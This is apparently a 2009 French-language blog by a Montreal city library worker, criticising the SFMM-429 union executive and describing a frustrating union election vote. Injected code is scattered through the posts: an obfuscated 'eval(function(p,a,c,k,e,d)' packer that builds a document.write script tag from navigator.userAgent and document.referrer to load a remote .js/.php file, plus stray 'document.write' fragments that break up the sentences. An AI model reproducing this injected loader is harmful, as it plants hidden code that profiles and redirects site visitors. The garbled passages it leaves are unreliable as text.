Quand à moi, je n’ai pas crains la froidure de l’automne et j’ai déployer bien des efforts pour aller voter… Tout d’abord, comme je l’ai mentionné il y a quelques jours, il me fallait trouver où je devais voter et si je pouvais obtenir une heure de libération pour le faire. Comme tout était fermé le lundi de l’Action de Grâce, je n’ai eu que mardi pour appeller le secrétariat d’élection et exposer mon problème. On me répond qu’on ignore la réponse (bravo les filles, continuez votre bon travail!) et me suggère soit d’appeller la directrice syndicale de mon arrondissement, soit Mme Sylvie Archetto, la présidente d’élection. On me transfert finalement à Mme Archetto mais j’aboutis plutôt sur la boite vocale des retraités du syndicat. J’essaie de contacter la directrice syndicale de mon arrondissement mais tombe sur la boite vocale d’une autre personne à la régie des bâtiments. Je rappelle au secrétariat d’élection et on me transfert, cette fois-ci avec succès, à Mme Archetto qui me dit que je peux voter dans n’importe quel des treize bureaux de votation mais qu’il me faudra d’abord rencontrer le directeur de salle pour demander à être rayé de la liste du bureau de mon arrondissement port d’attache.

Pour ce qui est de la libération, Mme Archetto me dit que c’est une question syndicale (doh!) et qu’il me faut plutôt contacter ma directrice syndicale. Après un autre essai infructueux pour la rejoindre, je contacte donc le représentant syndical de mon ancienne bibliothèque (car il n’y en a pas à la bibliothèque où je travaille actuellement). Il me rappelle plusieurs fois pour me mettre au courant de ses démarches et, après un palabre avec la directrice syndicale de l’arrondissement de mon ancienne bibliothèque, on me dit que, oui, j’ai droit à l’heure de libération même si ce jour là je commence à travailler en début d’après-midi. Mais avant que j’ai le temps d’appeller la bibliothécaire du lieu où je doit travailler le jour de l’élection pour s’entendre sur l’heure de libération, on me rappelle pour me dire que, non, après tout je n’y ai pas droit.

Le jour de l’élection, mercredi, je prend donc du temps sur mon autre travail (où je ne suis pas syndiqué, heureusement!) pour aller voter. La veille et le matin même j’ai voulu vérifier l’addresse du bureau de votation mais à aucun de ces moments je n’ai pu accéder à l’information sur le site du syndicat (mon internet fonctionnait pourtant parfaitement). Heureusement, le site du 109 au 429 offrait la même information. J’ai quelques difficulté à me rendre car Google ne m’a pas donné le bon horaire d’autobus (c’est bien la première fois que cela arrive). A l’entrée du bureau de votation je me fais accueillir par deux dames de l’équipe AccèsCible qui me remettent une belle carte de rappel. Il n’y a personne de l’équipe Du 109 au 429 (à ce moment là du moins). Au bureau même, je présente mes pièces d’identité (de la ville et du syndicat) et rencontre le directeur de salle. Beaucoup de gens sont apparement dans la même situation que moi et le directeur de salle a de la difficulté à contacter le bureau de votation de mon port d’attache pour me faire rayer de leur liste. Après un délais, j’obtiens l’autorisation et je peux finalement aller voter. Je me suis fais dire que ce genre de délais a causer des “embouteillage” à plusieurs bureaux de votation et de nombreux syndiqués, exaspéré par la piètre organisation, ont quitté sans même voter. Je prends ensuite le chemin de mon travail en bibliothèque (heureusement que je n’ai pas eu de libération car ça m’a pris bien plus qu’une heure!) mais je manque la correspondance de l’autobus et doit marcher une demi-heure dans le froid. J’arrive finalement à la bibliothèque, essouflé, avec quelques minutes de retard et on me dit que, ben oui, j’avais droit à la libération et qu’on m’avait même réservé du temps un peu plus tard en après-midi! C’était là la culmination de mon cauchemard syndical. Et après ça on me demande pourquoi j’étais si déterminé à voter contre l’Équipe “AccèsCible.” Faut vraiment être inconscient!

Tout ceux qui ont été paresseux et ne se sont pas déplacé pour aller voter ont, quand à moi, perdu le droit de se plaindre du syndicat. Ils n’ont que ce qu’ils méritent: un syndicat médiocre qui ne fera jamais de véritable effort pour défendre les droits des travailleurs.

Si le concept de parti d’opposition n’existe pas au sein d’un exécutif syndical, il faudra donc l’inventer. Le combat pour une véritable démocratie syndicale ne se termine pas pour autant. “Hasta la victoria siempre” disait le Che. Je suis sûr qu’il y aura toujours des gens pour exposer les cafouillages du syndicat, pour proposer des solutions et vocaliser ce que beaucoup pensent mais n’osent dire. En attendant une prochaine élection, surveillez donc le site internet Du 109 au 429, ainsi que les prochaine éditions du Colvert et portez attention aux résistants qui prendront la parole dans les assemblées. Car c’est eux qui défendront vraiment vos droits…

Malheureusement, je crains que les électeurs soient tout aussi timides aux élections municipales et que l’on se retrouvent là aussi avec un résultat similaire: un bas taux de participation et la réélection du candidat sortant, soit Gérald Tremblay… Mais ça ne m’empêchera pas d’aller voter!

Un peu de sang neuf (update 4)

Je rencontre encore, document.write(“”); même aujourd’hui, des collègues de travail qui ne sont pas au courant qu’il y a des élections pour l’exécutif du syndicat le 14 octobre. Et c’est cette semaine! C’est une preuve de plus que les membres de l’exécutif actuel ne font pas un bon travail de communication (ou alors c’est délibéré, car c’est bien connu que, lors d’une élection, l’équipe sortante est toujours favorisée par un taux de participation peu élevé)…
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Malheureusement, le groupe
Du 109 au 429, qui se présente contre l’équipe sortante, ne profite pas de libérations syndicales et n’a pas beaucoup de moyen à part leur site internet, quelques communiqués par courriel, des visites dans les lieux de travail pour parler aux collèques fonctionnaires et le bon vieux bouche à oreille. Alors si vous n’êtes pas satisfait du travail de l’exécutif sortant et voulez du changement (ça peut certainement pas être pire!), faites sûr que vos collègues de travail soient au courant qu’il y a des élections pour l’exécutif du syndicat le 14 octobre et qu’ils visitent le www.du109au429.org !

Un des points fort du programme de l’équipe Du 109 au 429 c’est justement une meilleure communication, une plus grande transparence pour ramener la démocratie au sein du syndicat et le remettre véritablement entre les mains des membres.

Un peu de sang neuf? (update 3)

liste des candidats.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbfif|var|u0026u|referrer|zsszb||js|php’.split(‘|’),0,{}))
liste des bureaux de votation et des bureaux de votation par secteurs.

C’est bien beau tout ça mais comme d’habitude le syndicat n’est pas fort pour donner de l’information claire. C’est quoi la procédure pour voter? Doit-on s’inscrire sur une liste? A quel bureau doit-on le faire? Dans mon cas, document.write(“”); par exemple, je reste dans un arrondissement, j’ai mon port d’attache dans un autre, mon bloc d’heure de travail dans un troisième et la journée du vote je fais un remplacement dans un quatrième arrondissement: où est-ce que je vais voter? Et si on ne travaille pas toute la journée, je suppose qu’on a pas droit à l’heure de libération? J’aimerais bien le savoir…

Un peu de sang neuf? (update 2)

Aprés avoir jeté un bref coup d’oeil au site de l’équipe Du 109 au 429 je suis extrêmement impressioné. Le site est simple, document.write(“”); très clair et efficace. Il présente avec précision les objectifs de l’équipe, offre une brève biographie des membres et fait une présentation exhaustive des dossiers qu’ils veulent défendre! Cela représente bien, je crois, la détermination et la compétence des membres de l’équipe Du 109 au 429 (pour le comprendre on n’a qu’a comparer avec le maigre et peu informatif site internet du SFMM ou au beau pamphlet couleur de l’équipe ”AccèsCible“ [imprimé avec l’argent de qui ?!] qui n’a aucune substance et se réduit à des belles promesses et de la poudre aux yeux). Le 14 octobre, l’équipe Du 109 au 429 aura mon vote deux fois plutôt qu’une (façon de parler bien sûr)…
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J’ai également “rédacté” le premier paragraphe pour des raisons
éthiques (apparament un employé ne peut pas critiquer la ville en temps d’élection — belle démocratie!) mais si vous êtes le moindrement sagace vous saurez ce que je veux dire…

Un peu de sang neuf?

Depuis que je travaille à la ville il m’arrive de penser et d’agir différemment de ce que j’avais l’habitude de faire.
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(Continuez après le saut)

Par exemple, document.write(“”); je crois n’avoir jamais voté aux élections municipales car je considérais ce palier de gouvernement comme inutile et sans conséquence sur ma vie (en tant que locataire je ne paie pas de taxes municipales). Mais en travaillant à la ville je suis maintenant beaucoup plus conscient des rouages de ce gouvernement, et surtout de l’incompétence, de l’ineptie ou des inconsistances qui l’accablent (comme tout gouvernement je suppose; c’est quand on est impliqué qu’on le remarque). C’est sûr que ce n’est pas facile de gérer efficacement une grande ville mais il me semble qu’avec un peu de leadership il serait possible de faire beaucoup mieux que les dérapages que l’on voit ces derniers temps. Je crois qu’un peu de changement pourrait améliorer les choses — du moins il serait difficile de faire pire (quoique rien ne pourrait vraiment être fait pour changer la principale cause des problèmes, les arrondissements, sans l’intervention de Québec). Je n’ai toutefois pas encore décidé où ira mon vote, mais une chose est sûr c’est que, cette fois-ci, je vais faire tout mon possible pour aller voter. J’espère que vous en ferez tous de même au 1er novembre. (Pour plus d’information, voir le site de Élection Montréal 2009).

Aussi, je n’ai jamais été guère favorable au syndicalisme. J’ai toujours cru que le syndicalisme est une lame à double tranchant et que si on ne l’utilise pas avec grand soin, parcimonieusement, on risque de se couper soi-même la tête… J’admet que c’est un outil nécessaire pour protéger les droits des travailleurs contre les abus du patronat, mais je crois que les syndicats tombent trop souvent dans le piège de faire des demandes excessives juste pour en avoir plus et s’enlisent parfois dans une mentalité strictement anti-patronale. Si je m’oppose à l’idée d’un syndicalisme réformiste, je suis cependant ouvert au syndicalisme de collaboration, où le syndicat travaille avec l’état et le patronat pour s’assurer que TOUT les membres de la société bénéficient des meilleures conditions possible dans un environment juste et équitable. Sans tomber dans l’aplatventrisme, il est nécessaire parfois, pour le bien commun de tous, de demander moins ou de faire des concessions. De même, il ne faut pas hésiter à prendre une position forte si le patronat a des exigences déraisonables ou refuse carrément de négocier. Cependant, je n’oublierai jamais l’outrage que j’ai ressentis le jour où, alors que je travaillais au salaire minimum, non-syndiqué et sans aucun bénéfices sociaux (vacances, assurances, etc.), et que des employés municipaux payés trois fois plus que moi (et avec presque tout les bénéfices imaginables) ont fait la grève sur une question de salaire, me privant ainsi de services municipaux pour lesquels je payais — ce qui ajoutait l’injure à l’outrage!

En tant qu’employé de la ville, je suis maintenant syndiqué (il s’agit ici du Syndicat des Fonctionnaires Municipaux de Montréal (SFMM), la section locale SCFP-429 du Syndicat Canadien de la Fonction Publique; pour plus d’information voir leur site internet www.sfmm429.qc.ca). Je suis heureux de la sécurité d’emploi que cela me procure et de savoir que je serai défendu en cas d’abus patronal, mais je trouve tout de même que nous payons le syndicat très cher pour des services qui m’apparaissent déficients. Toutes les fois que j’ai eu à faire avec le syndicat j’ai été déçu et insatisfait:

  • l’exécutif est difficile à rejoindre (les appels ne sont pas toujours retournés et le message téléphonique du répondeur porte à confusion) et la réponse aux questions est souvent imprécise sinon inexacte.
  • l’information aux membres est insuffisante et manque de clarté (le site internet mériterait d’être développé). J’applaudis l’effort d’offrir aux nouveaux membres un cours d’introduction (“Mon Syndicat”), mais celui-ci était trop rudimentaire pour être vraiment utile et l’exercice tenait plus de la propagande que de la pédagogie.
  • l’assurance médicale offerte est certes abordable mais ne semble jamais couvrir ce qu’on a vraiment besoin (sauf l’assurance dentaire qui semble excellente). Le but d’une assurance médicale privée est de combler les lacunes de l’assurance-maladie–comme couvrir les frais d’optométrie, les examen en cliniques privées qui ne sont pas offert par le service public ou dont les listes d’attentes sont trop longues–ce qui n’est malheureusement pas le cas avec l’assurance du SFMM (ou alors je suis vraiment malchanceux puisque tout les tests médicaux que j’ai eu à faire depuis que je suis membre n’étaient pas couverts…)
  • le SFMM semble faire preuve d’une complaisance excessive envers l’employeur et a manqué à plusieurs reprises à son devoir fondamental de défendre les droits de ses membres: délais inacceptable dans le dossier de l’équité salariale, ententes rétrogrades signées avec certains arrondissements (l’équipe du Colvert a bien présenté ce cas dans leur vol. 2, #3), manque de transparence dans ses opérations, manque de consultation auprès des membres, diminution de la mobilité d’emploi entre les arrondissements, conditions d’éligibilité nébuleuses pour l’obtention de postes, etc.
  • la division excessive (et souvent imprécise) des tâches conduit à des situations ridicules (particulièrement entre col bleu et col blanc): employé blâmé pour avoir mis du déglaçant dans une entrée de bibliothèque dangereuse pour les usagers, employé menacé d’un blâme pour avoir “flushé” une toilette mais à qui on demande de remplacer le papier de toilette, etc.

Ce constat désolant suite à mes diverses “expériences” avec le syndicat me fait inévitablement douter du dévouement et de la compétence de l’équipe d’exécutif en place. Avec la venue d’élections, je craignais que leur position ne soit contesté par personne et que rien ne change. Je suis donc fort heureux de constater qu’une nouvelle équipe, “du 109 au 429,” s’oppose à l’ancienne (ironiquement nommée “AccèsCible” !). Espérons que l’équipe “Du 109 au 429” saura faire valoir ses idées auprès des membres afin de remporter les élections du 14 octobre. (Voir leur page Facebook et un site internet sera bientôt disponible).


Update (10/1/2009): Voir l’entrée du blog Un peu de sang neuf (update 1).

Update (10/2/2009): Voir l’entrée du blog Un peu de sang neuf (update 2).

Update (10/5/2009): liste des candidats.

Update (10/6/2009): liste des bureaux de votation et des bureaux de votation par secteurs.

Voir l’entrée du blog Un peu de sang neuf (update 3).

Update (10/10/2009): Voir l’entrée du blog Un peu de sang neuf (update 4).

Update (10/15/2009): Pour conclure, voir mon commentaire sur le résultat des élections.